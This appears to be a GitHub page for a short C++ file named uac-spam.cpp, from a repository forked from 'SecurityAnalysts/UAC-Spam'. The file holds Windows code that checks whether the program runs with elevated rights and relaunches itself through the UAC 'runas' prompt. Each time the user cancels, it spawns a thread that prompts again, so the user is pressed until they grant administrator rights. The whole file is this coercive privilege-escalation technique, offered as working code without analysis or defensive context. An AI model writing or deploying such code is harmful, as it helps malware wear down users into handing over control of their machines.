forked from SecurityAnalysts/UAC-Spam
-
Notifications
You must be signed in to change notification settings - Fork 0
/
uac-spam.cpp
49 lines (38 loc) · 1.02 KB
/
uac-spam.cpp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
bool IsElevated(){
DWORD dwSize = 0;
HANDLE hToken = NULL;
BOOL bReturn = FALSE;
TOKEN_ELEVATION tokenInformation;
if(!OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken))
return FALSE;
if(GetTokenInformation(hToken, TokenElevation, &tokenInformation, sizeof(TOKEN_ELEVATION), &dwSize))
{
bReturn = (BOOL)tokenInformation.TokenIsElevated;
}
CloseHandle(hToken);
return bReturn;
}
bool ElevateNow(){
bool bAlreadyRunningAsAdministrator = IsElevated();
if(!bAlreadyRunningAsAdministrator)
{
char szPath[MAX_PATH];
if (GetModuleFileName(NULL, szPath, ARRAYSIZE(szPath)))
{
SHELLEXECUTEINFO sei = { sizeof(sei) };
sei.lpVerb = "runas";
sei.lpFile = szPath;
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
if (!ShellExecuteEx(&sei))
{
DWORD dwError = GetLastError();
if (dwError == ERROR_CANCELLED){
CreateThread(0,0,(LPTHREAD_START_ROUTINE)ElevateNow,0,0,0);
}
}else{
exit (EXIT_FAILURE);
}
}
}
}